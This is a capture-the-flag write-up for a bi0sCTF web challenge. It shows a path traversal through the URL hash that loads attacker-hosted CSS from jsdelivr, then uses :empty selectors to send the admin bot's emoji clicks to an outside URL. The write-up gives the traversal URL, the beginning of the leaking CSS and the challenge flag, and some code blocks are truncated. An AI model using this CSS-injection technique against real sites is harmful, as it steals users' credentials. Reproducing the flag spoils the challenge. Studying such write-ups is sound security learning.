tl;dr
- CSS injection using url forging
- leaking password using :empty
selectors
Challenge points: 984
No. of solves: 7
Challenge Description
All new emoji-based authentication service. See if you can get the admin’s emojis. 🥷
The source code of this challenge can be downloaded from here.
Analysis
Upon opening the challenge link, we are presented with a lockscreen that uses emojis instead of numbers. The page has two features: register and login. Additionally, there is an admin bot, which suggests that the challenge may involve client-side concepts.
The frontend of this application is developed in React.js. After analyzing the client-side JavaScript source code, we discover a hidden feature:
1 | { |
1 | { |
On looking into https://cdn.jsdelivr.net/npm/darkmode-css@1.0.1/ can find that this can be used to switch themes - dark
or light
, by toogling the hash. Thus, we now have a functionalty that can load limited stylesheets into the page.
Exploit
At this point, one may have two questions:
- Is it possible to load arbitrary stylesheets into the page?
- If so, what can be done with this ability?
Injecting Arbitary Stylesheets
Upon visiting the homepage of jsdelivr, we can discover that it is a public CDN that can be used to embed files from various sources such as GitHub, npm, and WordPress. This means that it is possible to embed files from any GitHub repository using the following format:
1 | https://cdn.jsdelivr.net/gh/[user-name]/[repository-name]/[file-path] |
Since window.location.hash
is directly placed into the href
attribute we can simply use ../
to embed files from any repository in our control.
1 | http://web.chall.bi0s.in:10101/#../../../../gh/yadhukrishna/nothing-here@main/hola |
Thus, it is possible to embed any stylesheet into the document by changing window.location.hash
and hence, causing CSS Injection.
Exploiting CSS Injection
On observing the UI carefully, one can find that each emoji is represented with:
1 | <span aria-label="105" role="img">💀</span> |
On examining closer, we identify:
- The
aria-label
value is sent in the request when the login button is clicked. Thus,aria-label
value can be used to uniquely identify an emoji. - When an emoji is clicked, it is removed from the content of the
<span>
element, which makes it empty.
These can be used to detect clicks using the :empty
pseudo-class selector.
For example,
On clicking the 12th emoji, a request can be sent to the specified URL, if we inject the below CSS.
1 | span[role="img"][aria-label="12"]:empty { |
This can be used to detect admin bot’s clicks and capture the login information.
1 | exploit_css = "" |
Flag
1 | bi0sctf{a34522e2009192570c840f931e4c3c0a} |